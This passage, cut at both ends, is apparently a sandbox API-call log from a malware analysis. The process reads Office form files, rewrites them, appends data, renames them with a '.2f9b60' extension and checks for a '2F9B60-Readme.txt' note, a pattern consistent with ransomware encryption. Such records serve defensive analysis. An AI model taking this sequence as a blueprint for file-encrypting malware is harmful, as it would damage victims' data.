CurrentTime=0x3c40fb60*=132462177475366000) returned 0x0 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x7424499d [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x3e5a68ad [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x437c21a2 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x4aa4bdda [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x41a4d162 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x337af7e1 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x7d52cb86 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0xb2d2618 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x691a95ae [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x80da89c [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x65ab358d [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x6b16f901 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x7b6bdf33 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x5e5eb1a9 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x41cfaa22 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x540f6695 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x6746ad16 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x37336df [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x656c8456 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x157b6675 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x3771b87 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x798d0875 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x6b6c9f43 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x1a7ad632 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x65f82e67 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x6f27f4c8 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x23a1f67c [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x112cab9a [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x6a216899 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x1983e35b [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x47324ff8 [0142.297] RtlRandomEx (in: Seed=0x3c40fb50 | out: Seed=0x3c40fb50) returned 0x6be09530 [0142.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fee90 [0142.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0142.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feec0 [0142.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0142.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fee60) returned 1 [0142.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420590b0 [0142.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0142.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422bd570 [0142.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422c1180 [0142.308] ReadFile (in: hFile=0x1f78, lpBuffer=0x422bd570, nNumberOfBytesToRead=0x152, lpNumberOfBytesRead=0x3c40fb50, lpOverlapped=0x0 | out: lpBuffer=0x422bd570*, lpNumberOfBytesRead=0x3c40fb50*=0x152, lpOverlapped=0x0) returned 1 [0142.308] SetFilePointerEx (in: hFile=0x1f78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.308] WriteFile (in: hFile=0x1f78, lpBuffer=0x422c1180*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x3c40fb54, lpOverlapped=0x0 | out: lpBuffer=0x422c1180*, lpNumberOfBytesWritten=0x3c40fb54*=0x152, lpOverlapped=0x0) returned 1 [0143.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6e70 [0143.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8460 [0143.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8460) returned 1 [0143.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422c1180) returned 1 [0143.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422bd570) returned 1 [0143.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0143.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0143.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced8460 [0143.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420590b0 [0143.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0143.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8100 [0143.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8100) returned 1 [0143.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced8100 [0143.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0143.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0143.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0143.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0143.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0143.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x169910 [0143.377] SetFilePointerEx (in: hFile=0x1f78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.377] WriteFile (in: hFile=0x1f78, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3c40fc70, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x3c40fc70*=0x106, lpOverlapped=0x0) returned 1 [0143.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fee30 [0143.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fee30) returned 1 [0143.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0143.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fee30 [0143.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fee00 [0143.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fee00) returned 1 [0143.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7aa1a0 [0143.611] sprintf (in: _Dest=0x1b7aa1a0, _Format="%c%c" | out: _Dest="d2") returned 2 [0143.611] sprintf (in: _Dest=0x1b7aa1a2, _Format="%c%c" | out: _Dest="de") returned 2 [0143.611] sprintf (in: _Dest=0x1b7aa1a4, _Format="%c%c" | out: _Dest="b2") returned 2 [0143.612] sprintf (in: _Dest=0x1b7aa1a6, _Format="%c%c" | out: _Dest="fa") returned 2 [0143.612] sprintf (in: _Dest=0x1b7aa1a8, _Format="%c%c" | out: _Dest="f5") returned 2 [0143.612] sprintf (in: _Dest=0x1b7aa1aa, _Format="%c%c" | out: _Dest="b2") returned 2 [0143.612] sprintf (in: _Dest=0x1b7aa1ac, _Format="%c%c" | out: _Dest="df") returned 2 [0143.612] sprintf (in: _Dest=0x1b7aa1ae, _Format="%c%c" | out: _Dest="8f") returned 2 [0143.612] sprintf (in: _Dest=0x1b7aa1b0, _Format="%c%c" | out: _Dest="e8") returned 2 [0143.612] sprintf (in: _Dest=0x1b7aa1b2, _Format="%c%c" | out: _Dest="01") returned 2 [0143.612] sprintf (in: _Dest=0x1b7aa1b4, _Format="%c%c" | out: _Dest="2f") returned 2 [0143.612] sprintf (in: _Dest=0x1b7aa1b6, _Format="%c%c" | out: _Dest="64") returned 2 [0143.612] sprintf (in: _Dest=0x1b7aa1b8, _Format="%c%c" | out: _Dest="76") returned 2 [0143.612] sprintf (in: _Dest=0x1b7aa1ba, _Format="%c%c" | out: _Dest="3b") returned 2 [0143.612] sprintf (in: _Dest=0x1b7aa1bc, _Format="%c%c" | out: _Dest="80") returned 2 [0143.612] sprintf (in: _Dest=0x1b7aa1be, _Format="%c%c" | out: _Dest="fc") returned 2 [0143.612] sprintf (in: _Dest=0x1b7aa1c0, _Format="%c%c" | out: _Dest="c7") returned 2 [0143.612] sprintf (in: _Dest=0x1b7aa1c2, _Format="%c%c" | out: _Dest="94") returned 2 [0143.612] sprintf (in: _Dest=0x1b7aa1c4, _Format="%c%c" | out: _Dest="cd") returned 2 [0143.612] sprintf (in: _Dest=0x1b7aa1c6, _Format="%c%c" | out: _Dest="64") returned 2 [0143.612] RtlInitAnsiString (in: DestinationString=0x3c40fce8, SourceString="d2deb2faf5b2df8fe8012f64763b80fcc794cd64" | out: DestinationString="d2deb2faf5b2df8fe8012f64763b80fcc794cd64") [0143.612] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c40fcb8, SourceString="d2deb2faf5b2df8fe8012f64763b80fcc794cd64", AllocateDestinationString=1 | out: DestinationString="d2deb2faf5b2df8fe8012f64763b80fcc794cd64") returned 0x0 [0143.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd866d0 [0143.613] RtlFreeAnsiString (AnsiString="d") [0143.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1a0) returned 1 [0143.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fee30) returned 1 [0143.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169910) returned 1 [0143.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8100) returned 1 [0143.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8130) returned 1 [0143.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8460) returned 1 [0143.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6e70) returned 1 [0143.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fedd0) returned 1 [0143.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fee90) returned 1 [0143.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feec0) returned 1 [0143.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20507690 [0143.615] wcscat (in: _Dest=0x20507690, _Source="d2deb2faf5" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\d2deb2faf5") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\d2deb2faf5" [0143.615] wcscat (in: _Dest=0x20507690, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\d2deb2faf5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\d2deb2faf5.2f9b60" [0143.615] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\d2deb2faf5.2f9b60", NtPathName=0x3c40fc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\d2deb2faf5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1ce224a0 [0143.615] NtSetInformationFile (FileHandle=0x1f78, IoStatusBlock=0x3c40fd30, FileInformation=0x1ce224a0, Length=0xae, FileInformationClass=0xa) returned 0x0 [0144.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce224a0) returned 1 [0144.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420520b0) returned 1 [0144.169] NtQueryInformationFile (in: FileHandle=0x1f78, IoStatusBlock=0x3c40fcf8, FileInformation=0x3c40fd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c40fcf8, FileInformation=0x3c40fd08) returned 0x0 [0144.169] NtSetInformationFile (FileHandle=0x1f78, IoStatusBlock=0x3c40fcf8, FileInformation=0x3c40fd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0144.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507690) returned 1 [0144.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd866d0) returned 1 [0144.172] FlushFileBuffers (hFile=0x1f78) returned 1 [0144.218] CloseHandle (hObject=0x1f78) returned 1 [0144.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20507690 [0144.223] wcscpy (in: _Dest=0x20507690, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0144.224] wcscat (in: _Dest=0x20507690, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0144.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0144.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507690) returned 1 [0144.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae4a0) returned 1 Thread: id = 2192 os_tid = 0x164c [0140.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg")) returned 0x20 [0140.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG", dwFileAttributes=0x20) returned 1 [0140.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f70 [0142.309] GetFileSizeEx (in: hFile=0x1f70, lpFileSize=0x3c4afe00 | out: lpFileSize=0x3c4afe00*=783) returned 1 [0142.309] SetFilePointerEx (in: hFile=0x1f70, liDistanceToMove=0x30b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.309] ReadFile (in: hFile=0x1f70, lpBuffer=0x3c4afd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c4afdc8, lpOverlapped=0x0 | out: lpBuffer=0x3c4afd80*, lpNumberOfBytesRead=0x3c4afdc8*=0x4, lpOverlapped=0x0) returned 1 [0142.314] SetFilePointerEx (in: hFile=0x1f70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fee60 [0142.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feef0 [0142.315] NtQuerySystemTime (in: CurrentTime=0x3c4afcc0 | out: CurrentTime=0x3c4afcc0*=132462177475522000) returned 0x0 [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x59da3207 [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x1accfd45 [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x194fdfd0 [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x6e489ff2 [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x7227db39 [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x4ad357aa [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x51b466df [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x4aa8444f [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x6843e8dc [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x27a1bd42 [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x1ee2b32d [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x35041176 [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x50d21481 [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x260ffad [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x2c36c5bc [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x34eed19d [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x38624320 [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x6b72ff56 [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x1b154e84 [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x30146342 [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x2cafcb71 [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x248a4745 [0142.315] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x7a717940 [0142.316] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x6e46fce4 [0142.316] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x7e414f35 [0142.316] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x7f90235a [0142.316] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x34e54f0f [0142.316] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x5d5781d4 [0142.316] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x3ece7a4b [0142.316] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x72bde6a5 [0142.316] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x61bcf582 [0142.316] RtlRandomEx (in: Seed=0x3c4afcb0 | out: Seed=0x3c4afcb0) returned 0x7583a06d [0142.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef20 [0142.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0142.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef50 [0142.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0142.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feef0) returned 1 [0142.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059100 [0142.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0142.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422c4d90 [0142.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422c89a0 [0142.324] ReadFile (in: hFile=0x1f70, lpBuffer=0x422c4d90, nNumberOfBytesToRead=0x30f, lpNumberOfBytesRead=0x3c4afcb0, lpOverlapped=0x0 | out: lpBuffer=0x422c4d90*, lpNumberOfBytesRead=0x3c4afcb0*=0x30f, lpOverlapped=0x0) returned 1 [0142.325] SetFilePointerEx (in: hFile=0x1f70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.325] WriteFile (in: hFile=0x1f70, lpBuffer=0x422c89a0*, nNumberOfBytesToWrite=0x30f, lpNumberOfBytesWritten=0x3c4afcb4, lpOverlapped=0x0 | out: lpBuffer=0x422c89a0*, lpNumberOfBytesWritten=0x3c4afcb4*=0x30f, lpOverlapped=0x0) returned 1 [0143.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0143.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0143.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0143.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422c89a0) returned 1 [0143.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422c4d90) returned 1 [0143.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0143.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059100) returned 1 [0143.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ced8520 [0143.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059100 [0143.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0143.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b40 [0143.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b40) returned 1 [0143.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ced6b40 [0143.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7040 [0143.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6c20 [0143.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6c20) returned 1 [0143.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0143.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059100) returned 1 [0143.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x1695e0 [0143.381] SetFilePointerEx (in: hFile=0x1f70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.381] WriteFile (in: hFile=0x1f70, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3c4afdd0, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x3c4afdd0*=0x108, lpOverlapped=0x0) returned 1 [0143.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feec0 [0143.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feec0) returned 1 [0143.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0143.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feec0 [0143.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fee90 [0143.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fee90) returned 1 [0143.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7aa1a0 [0143.618] sprintf (in: _Dest=0x1b7aa1a0, _Format="%c%c" | out: _Dest="d2") returned 2 [0143.618] sprintf (in: _Dest=0x1b7aa1a2, _Format="%c%c" | out: _Dest="58") returned 2 [0143.618] sprintf (in: _Dest=0x1b7aa1a4, _Format="%c%c" | out: _Dest="ba") returned 2 [0143.618] sprintf (in: _Dest=0x1b7aa1a6, _Format="%c%c" | out: _Dest="64") returned 2 [0143.618] sprintf (in: _Dest=0x1b7aa1a8, _Format="%c%c" | out: _Dest="ae") returned 2 [0143.618] sprintf (in: _Dest=0x1b7aa1aa, _Format="%c%c" | out: _Dest="78") returned 2 [0143.618] sprintf (in: _Dest=0x1b7aa1ac, _Format="%c%c" | out: _Dest="90") returned 2 [0143.618] 